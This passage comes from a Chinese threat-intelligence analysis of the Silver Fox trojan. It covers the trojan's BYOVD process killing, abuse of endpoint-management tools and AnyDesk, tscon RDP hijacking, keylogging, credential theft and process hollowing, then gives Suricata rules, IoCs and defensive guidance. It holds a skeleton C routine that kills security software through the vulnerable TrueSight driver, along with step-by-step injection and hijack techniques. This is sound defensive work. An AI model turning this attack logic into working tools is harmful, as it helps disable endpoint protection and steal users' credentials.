    HANDLE hDevice;
    int killed_count = 0;

    /* 步骤1: 加载TrueSight驱动 */
    hDevice = load_truesight_driver();
    if (hDevice == INVALID_HANDLE_VALUE) {
        return -1;  /* 驱动加载失败 */
    }

    /* 步骤2: 遍历212个安全软件进程名列表,逐一终止 */
    for (int i = 0; i < SECURITY_PROCESS_COUNT; i++) {
        ULONG pid = find_process_by_name(security_process_list[i]);
        if (pid != 0) {
            if (kill_process_via_driver(hDevice, pid)) {
                killed_count++;
            }
        }
    }

    /* 步骤3: 卸载驱动并清理痕迹 */
    CloseHandle(hDevice);
    unload_driver_service(L"TrueSight");
    delete_file_silent(L"C:\\Windows\\Temp\\TrueSight.sys");

    return killed_count;
}

9.3 对抗BYOVD的思路

BYOVD攻击的防御关键在于驱动加载控制。微软自Windows 11 22H2起引入的易受攻击驱动程序黑名单(Vulnerable Driver Blocklist)机制可有效阻止已知漏洞驱动的加载。企业应确保该功能处于启用状态,并通过WDAC(Windows Defender Application Control)策略进一步限制非签名驱动的加载。此外,EDR产品应注册内核回调监控驱动加载行为,对BYOVD特征(如临时目录释放驱动文件后立即通过SCM加载)进行告警。


十、管控终端滥用与合法工具武器化

10.1 企业统一终端管理系统滥用

本轮攻击中最值得关注的新趋势是攻击者对企业统一终端管理系统(Unified Endpoint Management, UEM)的滥用。许多企业部署了统一终端管理系统用于远程运维、软件分发和策略管控,这些系统通常具备远程桌面接管、文件上传下载、自定义脚本执行、远程关机等高权限功能。银狐木马在完成安全软件清除后,通过以下方式将这些管控系统转化为隐蔽的远控后门:

  1. 绕过人机验证码机制:管控系统在执行高风险操作(如远程桌面接管)时通常会弹出验证码要求用户确认。攻击者通过社工手段诱导用户输入验证码,或利用验证码机制的逻辑缺陷绕过验证,获取系统控制权。

  2. 注册表写入上线IP:木马在注册表中写入管控系统的上线配置,将控制端IP修改为攻击者控制的156.251.16.226,使受感染终端定期向攻击者控制端报到。

  3. 滥用功能清单:

被滥用功能 攻击者用途 隐蔽性评估
远程桌面接管 完整可视化远程控制 高,流量为管控系统正常通信
文件上传下载 窃取敏感文件、投递后续载荷 高,利用管控系统合法文件传输通道
自定义脚本执行 任意命令执行、横向移动 极高,脚本在管控系统进程上下文运行
远程关机 破坏性操作、配合重启触发Phantom Persistence 中,关机行为本身可被审计

这种滥用方式的核心威胁在于:攻击者利用的是企业自己部署的合法管控基础设施,所有远程操作流量都经过管控系统的加密通道传输,与正常运维流量无法区分。即使企业部署了网络层流量监控设备,也难以从合法管控流量中识别出恶意操作。

10.2 AnyDesk合法远控工具滥用

除管控系统外,攻击者还系统性地滥用了AnyDesk这一合法远控工具。攻击链路如下:

  1. 静默安装:通过命令行参数实现AnyDesk的静默安装,安装过程不弹出任何用户界面。AnyDesk安装包本身具有合法数字签名,不会被安全软件标记为恶意软件。

  2. 配置改造为后门:安装完成后,攻击者修改AnyDesk配置文件,开启无人值守访问(Unattended Access),设置自动接受连接的密码,并将AnyDesk配置为开机自启动。改造后的AnyDesk等价于一个功能完整的隐蔽后门。

  3. 双控制链路:攻击者建立了两条控制链路——AnyDesk远程桌面通道用于可视化操作,银狐木马自身的C2通道用于自动化指令执行。两条链路互为备份,即使AnyDesk被发现卸载,木马C2通道仍可维持控制。

10.3 tscon.exe劫持RDP会话

tscon.exe是Windows自带的终端服务连接工具,正常用途是在RDP会话之间切换。攻击者利用该工具的特殊用法实现无需密码的RDP会话劫持:当以SYSTEM权限运行tscon.exe <SessionID>时,可直接切换到指定会话而无需输入用户密码。攻击者在获取SYSTEM权限后,枚举当前活动的RDP会话ID,通过tscon.exe劫持已登录用户的桌面会话,实现无需凭据的完整桌面接管。

该技术的检测要点在于监控tscon.exe的异常调用行为——正常运维场景中tscon.exe极少被直接命令行调用,且调用者通常不是SYSTEM账户。


十一、关键功能模块解析

11.1 键盘记录模块

银狐木马使用SetWindowsHookExA配合WH_KEYBOARD_LL(低级键盘钩子)实现全局键盘记录。该钩子类型安装在系统全局键盘消息链的头部,可捕获所有线程的键盘输入,包括其他进程的输入。

SetWindowsHookExA(WH_KEYBOARD_LL,    // 钩子类型:低级键盘
                  LowLevelKeyboardProc, // 回调函数
                  hInstance,            // 模块实例
                  0);                   // 0表示全局钩子

低级键盘钩子的优势在于不需要将DLL注入到目标进程中,仅通过系统消息机制即可实现全局捕获,隐蔽性较高。记录的按键数据通过RC4加密后回传至C2服务器。

11.2 RC4加密引擎

银狐木马的数据回传采用自实现的RC4加密引擎,具有两个独特设计:

  1. 4096字节分块加密:将待传输数据分割为4096字节的块,每块独立进行RC4加密。这种分块设计防止了大量数据使用同一密钥流导致的密码学弱化。

  2. 位置依赖密钥:每个4096字节块的RC4密钥并非固定不变,而是由基础密钥与块序号组合派生。这意味着即使攻击者获取了某一块的密钥,也无法直接解密其他块的数据。

11.3 凭据窃取模块

银狐木马的凭据窃取模块覆盖多个高价值目标,其中TG会话劫持尤为值得注意。木马硬编码了TG桌面版的会话数据路径%s\TG Desktop\tdata,直接复制该目录下的会话文件即可在攻击者机器上恢复受害者的TG登录状态,无需重新输入密码或二次验证。

此外,凭据窃取模块还覆盖浏览器保存密码、邮箱客户端配置、FTP客户端配置等多种凭据存储位置。

11.4 远控指令集

银狐木马核心控制层实现了56条远控指令,按功能分类如下:

功能类别 指令示例 说明
下载执行 下载并运行指定URL的PE文件 二阶段载荷投递
TCP中继 将受控终端作为跳板进行TCP端口转发 横向移动与内网穿透
键盘记录 启动/停止键盘记录、回传记录数据 凭据窃取
屏幕截图 定期截取屏幕画面并回传 可视化监控
文件管理 上传、下载、删除、重命名文件 数据窃取与载荷投递
进程管理 枚举、终止、注入进程 环境控制
破坏性清理 删除关键文件、擦除日志、破坏MBR 攻击痕迹销毁与破坏
远程桌面 通过管控终端或AnyDesk接管桌面 完整可视化控制

11.5 进程注入技术

银狐木马采用经典的Process Hollowing(进程镂空)链进行进程注入:

  1. 以挂起状态创建一个合法系统进程(如svchost.exe)
  2. ZwUnmapViewOfSection卸载原进程内存映像
  3. VirtualAllocEx在目标进程中分配内存
  4. WriteProcessMemory写入恶意PE映像
  5. SetThreadContext修改入口点指向恶意代码
  6. ResumeThread恢复线程执行,恶意代码在合法进程上下文中运行

该技术在进程列表中显示为合法系统进程,且数字签名信息完好,极大增加了检测难度。


十二、检测规则与IoC指标

12.1 Suricata检测规则

以下Suricata规则覆盖银狐木马本轮攻击的关键网络行为特征:

# ============================================================
# 银狐木马 Suricata 检测规则集
# 覆盖: DoH隧道检测、AtlasCross C2握手、TCP自定义协议
# ============================================================

# 规则1: DoH隧道C2域名检测
# 检测通过DoH协议查询银狐C2域名的行为
alert tls any any -> [223.5.5.5,223.6.6.6,8.8.8.8,8.8.4.4] any (
    msg:"银狐木马 DoH隧道C2域名查询 - oidng2.duoshit.com";
    flow:established,to_server;
    tls.sni; content:"dns-query";
    http.request_body; content:"|00 00 01 00 00 01|";
    pcre:"/oidng2|duoshit/";
    reference:url,blog.security.example/silverfox-doh;
    classtype:trojan-activity;
    sid:20260001; rev:1;
)

# 规则2: DoH隧道流量检测(通用)
# 检测到已知DoH服务器的POST /dns-query请求
# 配合DNS wire format载荷特征进行检测
alert http any any -> [223.5.5.5,8.8.8.8] any (
    msg:"银狐木马 DoH隧道通信 - 可疑DNS-over-HTTPS查询";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/dns-query";
    http.request_header; content:"application/dns-message";
    http.request_body; depth:12; content:"|00 01 00 00 00 01 00 00 00 00 00 00|";
    classtype:trojan-activity;
    sid:20260002; rev:1;
)

# 规则3: AtlasCross C2握手Beacon检测
# 检测AtlasCross变种的握手特征字节序列
alert tcp any any -> any any (
    msg:"银狐木马 AtlasCross C2握手Beacon检测";
    flow:established,to_server;
    content:"|53 46 75 63 6b 00 00 00|";
    depth:8;
    reference:url,blog.security.example/silverfox-atlascross;
    classtype:trojan-activity;
    sid:20260003; rev:1;
)

# 规则4: TCP自定义协议C2通信检测
# 检测银狐TCP自定义协议的特征端口和协议结构
alert tcp any any -> [8.218.106.149,156.251.16.226] any (
    msg:"银狐木马 TCP自定义协议C2通信";
    flow:established,to_server;
    dsize:>10;
    classtype:trojan-activity;
    sid:20260004; rev:1;
)

# 规则5: C2端口7000连接检测
alert tcp $HOME_NET any -> $EXTERNAL_NET 7000 (
    msg:"银狐木马 C2端口连接 - 7000端口";
    flow:established,to_server;
    classtype:trojan-activity;
    sid:20260005; rev:1;
)

# 规则6: 银狐C2 IP直连检测
alert ip $HOME_NET any -> [8.218.106.149,156.251.16.226] any (
    msg:"银狐木马 C2 IP直连通信";
    classtype:trojan-activity;
    sid:20260006; rev:1;
)

12.2 网络行为检测清单

除Suricata规则外,以下网络行为检测清单可用于SIEM/EDR的关联分析:

检测项 检测逻辑 风险等级
DoH异常查询 非浏览器进程向223.5.5.5/8.8.8.8发送/dns-query POST请求 高
非标端口外联 内网终端连接外部7000端口TCP连接 高
C2域名解析 DNS查询oidng2.duoshit.com或duoshit.com子域名 严重
C2 IP直连 内网终端直连8.218.106.149或156.251.16.226 严重
大体积PE下载 从OSS域名下载超过50MB的PE文件 中
异常TLS握手 TLS Client Hello中SNI为dns-query的异常连接 高
管控终端异常IP 管控系统上线配置中出现非企业内网的IP地址 严重
AnyDesk静默安装 AnyDesk安装过程无用户交互且随后修改配置文件 高

12.3 IoC指标表

类型 指标值 说明
文件Hash (MD5) 8c4fc902905459a53f686372a1a85526 DoH变种主样本(雷电模拟器伪装)
C2域名 oidng2.duoshit.com 主C2域名(经DoH解析)
C2域名 duoshit.com C2域名根域
C2 IP 8.218.106.149:7000 TCP自定义协议C2服务器
C2 IP 156.251.16.226 管控终端滥用上线IP
DoH服务器 223.5.5.5 AliDNS DoH服务器
DoH服务器 223.6.6.6 AliDNS备用DoH服务器
DoH服务器 8.8.8.8 Google DNS DoH服务器
驱动文件 TrueSight.sys BYOVD漏洞驱动
IOCTL码 0x22e044 TrueSight驱动进程终止IOCTL
握手Beacon 53 46 75 63 6b 00 00 00 AtlasCross变种C2握手特征
管控终端IP 156.251.16.226 管控系统注册表写入的上线IP
TG路径 %s\TG Desktop\tdata 凭据窃取硬编码路径

十三、终端防护策略

13.1 驱动加载防护

针对BYOVD攻击,建议采取以下多层防护措施:

  1. 启用易受攻击驱动程序黑名单:确保Windows 11 22H2及以上版本的"易受攻击的驱动程序黑名单"功能处于启用状态(默认启用,但部分企业镜像可能关闭)。该机制可阻止TrueSight.sys等已知漏洞驱动的加载。

  2. 部署WDAC策略:通过Windows Defender Application Control部署驱动白名单策略,仅允许经企业审批的内核驱动加载。WDAC策略从内核层面拦截非白名单驱动的加载,即使驱动具有合法签名也会被阻止。

  3. 监控驱动加载行为:EDR产品应注册PsSetLoadImageNotifyRoutine内核回调,监控所有驱动加载事件。重点关注以下异常模式:临时目录释放sys文件后立即通过SCM加载、非系统目录加载驱动、已知漏洞驱动文件名出现等。

13.2 DoH隧道检测与阻断

  1. DoH流量识别:在企业网络出口部署支持DoH流量识别的NGFW或IDS设备。检测特征包括:目标IP为已知DoH服务器(223.5.5.5、8.8.8.8等)、HTTP路径包含/dns-query、Content-Type为application/dns-message。

  2. 非浏览器进程DoH检测:在终端层面监控非浏览器进程发起的DoH请求。正常情况下仅浏览器和少数系统组件使用DoH,任何其他进程发起DoH请求均应视为高可疑行为。

  3. DNS策略管控:在网络层面将终端DNS查询强制重定向至企业内部DNS服务器,阻断终端直接使用外部DoH服务器的能力。对于必须使用DoH的场景,仅允许指定的企业管控DoH服务器。

13.3 管控终端安全加固

针对管控终端滥用这一新攻击面,建议采取以下措施:

  1. 最小权限原则:审查管控系统的功能权限配置,关闭非必要的远程功能(如自定义脚本执行、远程关机)。对必须保留的高风险功能(远程桌面接管)启用强制的二次认证(非简单验证码,应使用基于硬件令牌或生物特征的MFA)。

  2. 上线IP白名单:管控系统的上线配置应绑定企业内网IP段,通过注册表监控检测上线IP被篡改为外部IP的行为。

  3. 操作审计:开启管控系统的全量操作审计日志,将远程桌面接管、文件传输、脚本执行等高风险操作日志接入SIEM平台进行实时关联分析。

  4. AnyDesk管控:通过应用控制策略禁止AnyDesk等第三方远控工具的安装和运行。如业务必须使用,应通过企业统一管理的远控平台替代,并实施严格的访问控制。

13.4 持久化检测

  1. 计划任务基线监控:定期扫描系统计划任务,与基线进行比对,重点关注以SYSTEM权限运行、触发频率为每分钟、名称伪装为系统更新的异常任务。

  2. Phantom Persistence检测:监控RegisterApplicationRestart和SetProcessShutdownParametersAPI的调用行为,对非系统进程注册应用程序重启回调的行为进行告警。

  3. GAC目录监控:监控.NET GAC目录的文件写入行为,任何新增DLL都应进行签名验证和人工审查。

  4. 进程注入检测:EDR产品应监控CreateRemoteThread、WriteProcessMemory、ZwUnmapViewOfSection等进程注入相关API的调用,对Process Hollowing特征行为链进行告警。

13.5 综合防御体系建议

银狐木马的攻击链路长、技术手段多、变种更新快,单一防护手段难以全面覆盖。建议企业构建以下纵深防御体系:

  1. 入口管控:邮件网关部署银狐样本特征检测规则,拦截伪装为安装包的恶意附件;Web下载渠道部署文件类型和签名验证,拦截未签名或被盗签名的大体积PE文件。

  2. 行为检测:EDR终端部署基于行为链的检测规则,将"临时目录释放驱动文件→SCM加载驱动→安全软件进程批量终止"这一BYOVD行为链作为高危告警关联规则。

  3. 网络监控:网络层部署DoH检测规则和C2 IP/域名黑名单,阻断已知的C2通信通道。

  4. 应急响应:建立银狐木马专项应急响应SOP,包含IoC快速扫描脚本、持久化排查清单、管控终端审计流程等,确保在发现感染后能够快速定位和清除。

  5. 威胁情报订阅:订阅银狐木马专项威胁情报 feed,及时获取新增变种IoC和TTPs更新,保持检测规则的时效性。


十四、总结

银狐木马本轮攻击展示了该家族在攻击工程化方面的持续进化。从技术层面看,三大创新值得关注:DoH隐蔽隧道使C2通信的检测难度显著提升;BYOVD内核态进程终止使传统安全软件的自身保护机制面临严峻挑战;管控终端与合法远控工具的滥用则开辟了利用企业合法基础设施进行隐蔽控制的新攻击面。

对于威胁情报分析师而言,关注重点应放在核心控制层和功能插件层的稳定特征上——C2通信协议结构、握手Beacon特征、BYOVD驱动IOCTL码、212个安全软件进程名列表等,这些特征在加载器层频繁更换的情况下保持相对稳定,是建立有效检测规则的关键锚点。

对于终端安全工程师而言,防护策略需要从"签名检测"向"行为链检测"转型。银狐木马的大体积膨胀、VMProtect虚拟化、被盗EV签名等手段使得传统的基于文件特征的检测日益失效。基于行为链的检测——即关联多个低风险行为形成高风险判定——是应对此类威胁的有效方向。同时,管控终端和合法远控工具的滥用提醒我们,安全防御的视野不能仅限于"检测恶意软件",还需要审视企业自身IT基础设施中被武器化的风险。

银狐木马的演化不会停止。可以预见,未来变种将进一步探索更隐蔽的C2通信方式(如域名前置、合法云服务滥用)、更强大的反分析技术(如AI辅助的代码混淆)、以及更广泛的合法工具武器化。安全社区需要保持持续的技术跟踪和信息共享,才能在这场攻防博弈中保持有效防御。